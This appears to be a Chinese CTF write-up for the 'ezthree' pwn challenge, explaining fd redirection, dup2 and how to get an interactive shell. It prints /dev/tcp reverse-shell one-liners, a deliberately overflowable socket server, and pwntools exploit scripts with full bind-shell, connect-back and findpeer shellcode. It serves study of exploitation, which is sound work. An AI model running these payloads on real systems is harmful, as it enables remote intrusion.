这几天做了2022鹏城杯的ezthree这道题
接触到了一些之前没有深入去想过的东西,这里记录一下
0x1
这道题关闭了0,1,2这三个文件描述符,从而使得无法输入输出
但如果没有chroot,我们完全可以重新打开/dev/pts/ptmx
获得一个新的终端并与之交互
(这里其实不太确定是不是要打开/dev/pts/n
,但其实应该不是,毕竟这玩意有权限访问限制)
0x2
关于标准流重定向
1 2 3 4
| command > file command 1> file command 2> file command &> file
|
>&
可以用于互相重定向
利用这点,如果程序运行的是bash,那么还有一种利用/dev/tcp
获得shell的方式
我们只需要在攻击端上监听一个端口(本质上就是建立一个tcp服务器等待连接)
nc -lvnp 6678
利用bash创建socket的特性,然后再在被攻击端执行
1 2 3 4 5
| bash -i &> /dev/tcp/ip/port 0>&1 bash -i &> /dev/tcp/ip/port 0>&2
bash -c "bash -i &> /dev/tcp/ip/port 0>&1" bash -c "bash -i &> /dev/tcp/ip/port 0>&2"
|
bash -i
:创建一个交互式shell
1
| &>` :将stdout和stderr都重定向到stdout。`>&`跟它的功能一样,当使用`>& file`或`&> file`时,等同于`> file 2>&1
|
/dev/tcp/ip/port
:利用bash的特性,创建一个socket连接
0>&1
:将stdin重定向给stdout
0>&2
:将stdin重定向给stderr
bash -c "command"
:创建一个子shell环境运行command
现在攻击端就获得了一个shell
0x3
参考深入理解 pwn 题中的正连/反连 tcp | blingbling’s blog (blingblingxuanxuan.github.io)
直接用佬的代码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include<stdio.h> #include<unistd.h> #include<sys/socket.h> #include<arpa/inet.h>
int main(int argc,char **argv){ int jmp = 0xe4ff; int sckfd,fd; char buf[10]; struct sockaddr_in server; sckfd = socket(AF_INET,SOCK_STREAM,0); server.sin_family = AF_INET; server.sin_port = htons(8888); server.sin_addr.s_addr = inet_addr("0.0.0.0"); bind(sckfd,(struct sockaddr *)&server,sizeof(server)); listen(sckfd,10); fd = accept(sckfd,NULL,NULL); read(fd,buf,1000);
return 0; }
|
sh()
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * context(arch='amd64',os='linux',log_level='debug')
pr = remote('127.0.0.1',8888)
payload = b'a'*30 payload += p64(0x40120c) payload += asm(shellcraft.sh())
pr.sendline(payload) pr.interactive()
|
运行可以发现,进程的确会启动一个shell
但是这个shell的三个标准流都是绑定到对应的伪终端的
1 2 3 4 5 6 7
| aichch /proc/36968/fd file 0 0: symbolic link to /dev/pts/0 aichch /proc/36968/fd file 1 1: symbolic link to /dev/pts/0 aichch /proc/36968/fd file 2 2: symbolic link to /dev/pts/0 aichch /proc/36968/fd
|
而我们与之建立连接的是一个socket
那显然我们是无法与shell进行交互的,除非将0,1,2都重定向到socket
到这里再研究一下,平常我们做pwn题的时候为什么可以直接与拿到的shell进行交互
1 2 3
| lrwx------ 1 ctf ctf 64 Mar 13 13:52 0 -> 'socket:[14638737]' lrwx------ 1 ctf ctf 64 Mar 13 13:52 1 -> 'socket:[14638737]' lrwx------ 1 ctf ctf 64 Mar 13 13:52 2 -> 'socket:[14638737]'
|
这是一个docker中由ctf_xinted启动的进程
可以看到0,1,2都被链接到一个socket,而非本地的终端
因此最后我们可以与之交互
至于pwntools启动的进程,012则是一个pipe管道
真正直接启动的进程才是终端
bindsh() - 正连
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * context(arch='amd64',os='linux',log_level='debug')
pr = remote('127.0.0.1',8888)
payload = b'a'*30 payload += p64(0x40120c) payload += asm(shellcraft.bindsh(4444,'ipv4'))
pr.sendline(payload)
ff = remote('127.0.0.1',4444) ff.interactive()
|
这个方法是在server1中通过socket()–>bind()–>listen()–>accept()创建一个新的socket监听端口,然后把server1的fd中 0 1 2全部指向新socket。这样接下来执行execve()后,输入输出就全定向到新socket流中。攻击进程主动向受害者进程的4444端口发起连接,就可以拿到受害者的输入输出,从而获得shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| .section .shellcode,"awx" .global _start .global __start .p2align 2 _start: __start: .intel_syntax noprefix /* call socket('AF_INET', 'SOCK_STREAM', 0) */ push 41 /* 0x29 */ pop rax push 2 /* 2 */ pop rdi push 1 /* 1 */ pop rsi cdq /* rdx=0 */ syscall /* Build sockaddr_in structure */ push rdx mov edx, 0x1010101 /* (AF_INET | (23569 << 16)) == 0x5c110002 */ xor edx, 0x5d100103 push rdx /* rdx = sizeof(struct sockaddr_in6) */ push 0x10 pop rdx /* Save server socket in rbp */ mov rbp, rax /* call bind('rax', 'rsp', 'rdx') */ mov rdi, rax push 49 /* 0x31 */ pop rax mov rsi, rsp syscall /* call listen('rbp', 1) */ push 50 /* 0x32 */ pop rax mov rdi, rbp push 1 pop rsi syscall /* call accept('rbp', 0, 0) */ push 43 /* 0x2b */ pop rax mov rdi, rbp xor esi, esi /* 0 */ cdq /* rdx=0 */ syscall /* dup() file descriptor rax into stdin/stdout/stderr */ dup_4: mov rbp, rax push 3 loop_5: pop rsi dec rsi js after_6 push rsi /* call dup2('rbp', 'rsi') */ push 33 /* 0x21 */ pop rax mov rdi, rbp syscall jmp loop_5 after_6: /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push 59 /* 0x3b */ pop rax syscall
|
这里用到了一个dup2
系统调用,其用于重定向文件描述符:通过 dup2(oldfd, newfd)
,可以将文件描述符 oldfd
复制到文件描述符 newfd
上,如果 newfd
已经打开了一个文件,dup2
会先关闭 newfd
所指向的文件,然后将 oldfd
复制到 newfd
上。
举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h>
int main() { int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd == -1) { perror("open"); exit(EXIT_FAILURE); }
if (dup2(fd, STDOUT_FILENO) == -1) { perror("dup2"); exit(EXIT_FAILURE); }
close(fd);
printf("This will be written to output.txt\n");
return 0; }
|
程序将标准输出重定向到了一个名为 output.txt
的文件中,因此 printf
输出的内容会被写入到 output.txt
文件中,而不是显示在终端上
dupsh()
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context(arch='amd64',os='linux',log_level='debug')
pr = remote('127.0.0.1',8888)
payload = b'a'*30 payload += p64(0x40120c) payload += asm(shellcraft.dupsh(4))
pr.sendline(payload)
pr.interactive()
|
和上一个差不多,只不过复用了连接的fd,只对于这个例子来说,一般做题显然不会自带有这个fd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| .section .shellcode,"awx" .global _start .global __start .p2align 2 _start: __start: .intel_syntax noprefix /* dup() file descriptor 4 into stdin/stdout/stderr */ dup_1: push 4 pop rbp push 3 loop_2: pop rsi dec rsi js after_3 push rsi /* call dup2('rbp', 'rsi') */ push 33 /* 0x21 */ pop rax mov rdi, rbp syscall jmp loop_2 after_3: /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push 59 /* 0x3b */ pop rax syscall
|
connect()+dupsh() - 反连
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context(arch='amd64',os='linux',log_level='debug')
pr = remote('127.0.0.1',8888)
payload = b'a'*30 payload += p64(0x40120c) payload += asm(shellcraft.connect('127.0.0.1',4444,'ipv4')+shellcraft.dupsh())
pr.sendline(payload)
|
本方法是利用server主动去connect我们监听的端口,建立socket连接,并用这个socket去覆盖原本的 0 1 2,达到将输出定向到远端的目的。
findpeersh()
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context(arch='amd64',os='linux',log_level='debug')
pr = remote('127.0.0.1',8888)
payload = b'a'*30 payload += p64(0x40120c) payload += asm(shellcraft.findpeersh(pr.lport))
pr.sendline(payload)
pr.interactive()
|
本方法是在server1进程中寻找与pr.lport
端口有连接的socket,并覆盖原来fd的0 1 2。攻击进程中成功拿到shell时的连接情况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| .section .shellcode,"awx" .global _start .global __start .p2align 2 _start: __start: .intel_syntax noprefix findpeer_4: /* File descriptor in rdi */ push -1 pop rdi /* struct sockaddr * in rsi */ mov rsi, rsp /* Size of address structure */ /* push 0x20 */ push 0x20 loop_5: /* Next file descriptor */ inc rdi /* See if it is a valid socket */ /* call getpeername('rdi', 'rsi', 'rsp') */ push 52 /* 0x34 */ pop rax mov rdx, rsp syscall /* Was it successful? */ test eax, eax /* No? Try the next */ jnz loop_5 /* Check if port is right */ lea rax, [rsp + 10] mov ax, [rax] cmp ax, 59083 jne loop_5 /* Socket found, it is in RDI */ /* dup() file descriptor rdi into stdin/stdout/stderr */ dup_6: mov rbp, rdi push 3 loop_7: pop rsi dec rsi js after_8 push rsi /* call dup2('rbp', 'rsi') */ push 33 /* 0x21 */ pop rax mov rdi, rbp syscall jmp loop_7 after_8: /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push 59 /* 0x3b */ pop rax syscall
|
这个还不太理解
getpeername
是一个系统调用,用于获取与某个套接字(socket)关联的对端(peer)的地址信息。